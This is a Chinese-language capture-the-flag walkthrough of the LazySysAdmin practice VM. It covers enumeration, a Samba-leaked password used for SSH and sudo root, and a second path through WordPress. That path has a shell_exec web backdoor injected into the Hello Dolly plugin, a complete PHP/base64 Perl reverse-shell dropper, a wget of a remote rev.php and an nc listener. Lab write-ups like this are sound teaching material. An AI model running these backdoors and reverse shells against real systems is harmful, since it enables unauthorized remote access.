作者:KarmA@D0g3
记录一下自己的LazySysAdmin通关过程

背景

一个孤独和懒惰的系统管理员哭泣自己睡觉的故事

Difficulty:中等/初学者

Goal:

​ 1.教初学者一些基本的Linux枚举技巧

​ 2.让自己更加熟悉Linux的服务配置,然后创造更多靶机给大家去学习

​ 3.得到root权限&找到flag

Hint:

信息收集

首先用netdiscover确定靶机ip,再用nmap扫下端口

一眼扫过去,发现竟然有Mysql、InspIRCd、Samba还挺有意思嘛!

InspIRCd,是一个UNIX系统和Windows系统的聊天服务器

Samba,是种用来让UNIX系列的操作系统与微软Windows操作系统的SMB/CIFS(Server Message Block/Common Internet File System)网络协议做链接的自由软件。第三版不仅可访问及分享SMB的文件夹及打印机,本身还可以集成入Windows Server的网域,扮演为网域控制站(Domain Controller)以及加入Active Directory成员。简而言之,此软件在Windows与UNIX系列操作系统之间搭起一座桥梁,让两者的资源可互通有无。--维基百科

按照常规思路先走走,既然有80端口,作为一个web狗,肯定要上去看看有什么可以vanvan的:)

然鹅~没有什么特别的发现,是由一个在线html编辑器做的一个静态页面。

扫下目录之后,真的是令人眼前一亮:发现有phpmyadmin、wordpress

phpMyadmin

爆破失败……

Wordpress

普通的wordpress站点,但是My name is togie 重复了不知道多少次??重要的事情说N遍???

先用kali的WpScan扫一下wordpress站点

一个用户admin,主题是twentyfifteen - v1.8,没有装插件,干干净净的wordpress,想从这打进去怕是不现实了。。。

InspIRCd

没有什么发现……

Samba

看下能不能连进去

发现了一个printf$和一个share$,应该一个是打印机,但是连不上,试了下共享文件夹,打开就发现了惊喜

竟然是wordpress站点的目录,这样子,能搞的事情就多了啦:),先尝试能不能上传文件,发现不行,但是可以下载文件,那就看下有没有什么敏感信息。

解法一:ssh

有个todolist,但是好像没啥用

有个deets.txt文件

CBF Remembering all these passwords.
Remember to remove this file and update your password after we push out the server.
Password 12345

用户名togie???密码12345???连连ssh试试??

我的妈??surprise???

然后尝试一下切换一下目录,发现没有权限

togie@LazySysAdmin:~$ cd /
-rbash: cd: restricted

那试试看看能不能togie用户有没有sudo的权限(讲道理都不会有。。。)

然而又一次让人震惊了。。。

togie@LazySysAdmin:~$ sudo su
[sudo] password for togie: 
root@LazySysAdmin:/home/togie#

于是,顺顺利利拿到flag。。。

这个我觉得是出题人未考虑到的非预期解??或许这就是题目LazyAdmin的原意??

解法二:wordpress

顺便看看配置文件,把数据库密码扒下来

连上去phpmyadmin,看下普通的into outfile能不能写shell,发现这是个残废的phpmyadmin

然后忽然想想,刚刚WpScan扫到了一个用户名,可不可以利用起来?数据库密码跟wordpress管理员密码会不会一样??尝试了一波,惊了!!!

其实既然已经进入了控制面板,就可以有很多方式去写shell了,可以从主题模版的某些php文件中写,也可以看看插件中哪些可以利用。看到一个插件教hello,dolly,里面是打印一首叫“Hello Dolly”的各句歌词在页面右上角,那就从这里入手吧。

将输出歌词的地方,换成我们执行命令的回显

// And then randomly choose a line
$lyrics = "<pre>".shell_exec($_GET['cmd'])."</pre>";
return  wptexturize($lyrics);

既然已经有了RCE,只需要把反弹shell的php脚本传到靶机上就可以了。

<?php
function which($pr) {
$path = execute("which $pr");
return ($path ? $path : $pr);
}
function execute($cfe) {
$res = '';
if ($cfe) {
if(function_exists('exec')) {
@exec($cfe,$res);
$res = join("\n",$res);
} elseif(function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = '';
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function cf($fname,$text){
if($fp=@fopen($fname,'w')) {
@fputs($fp,@base64_decode($text));
@fclose($fp);
}
}

$yourip = "x.x.x.x"; //修改这里
$yourport = "2333"; // 修改这里
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?>

此外,msf同样也可以创建各种反弹脚本

这里推荐一个用Gist的方法上传脚本(还可以创建私密gist,只能通过url访问)

上传好之后,只需要在RCE处,wget下载到靶机即可

http://192.168.11.130/wordpress/wp-admin/index.php
?cmd=wget https://gist.githubusercontent.com/akkayin/404e282652bda5c9c5f8f56f5953a8ff/raw/fb25d067a742cc2f30b874697178e046f17c6a93/rev.php

然后就是攻击机开放监听端口

root@karma:~# nc -lnvp 2333

在浏览器中访问rev.php,bingo……

connect to [192.168.11.129] from (UNKNOWN) [192.168.11.130] 59658
Linux LazySysAdmin 4.4.0-31-generic #50~14.04.1-Ubuntu SMP Wed Jul 13 01:06:37 UTC 2016 i686 i686 i686 GNU/Linux
uid=33(www-data) gid=33(www-data) groups=33(www-data)

进行一系列的命令操作后,发现没有TTY

输入下面的命令

python3 -c 'import pty; pty.spawn("/bin/bash")'

到这里,如果是别的靶机,没有这样一个Lazy的Admin,你可以选择提权来获得root权限,但是既然作者这样为止,肯定要警示我们不要像这个lazyadmin一样有这里低级的陋习,所以我们就不需要走提权这条路了,直接用他给的密码登进去,如第一种解法一样即可。

总结

  1. Penetration真的需要很多骚操作,条条大路通罗马
  2. 这个靶机实际上并不难,但作者想通过这种简单但是却普遍的Vulnerability来提醒广大admin不要把敏感信息直接存储在显而易见的地方
  3. 在penetrate之前,要重视信息收集的工作,每发现一些敏感或看似有用的信息,记得拿小本子记下来,在后面或许有奇效!!

源链接

Hacking more

...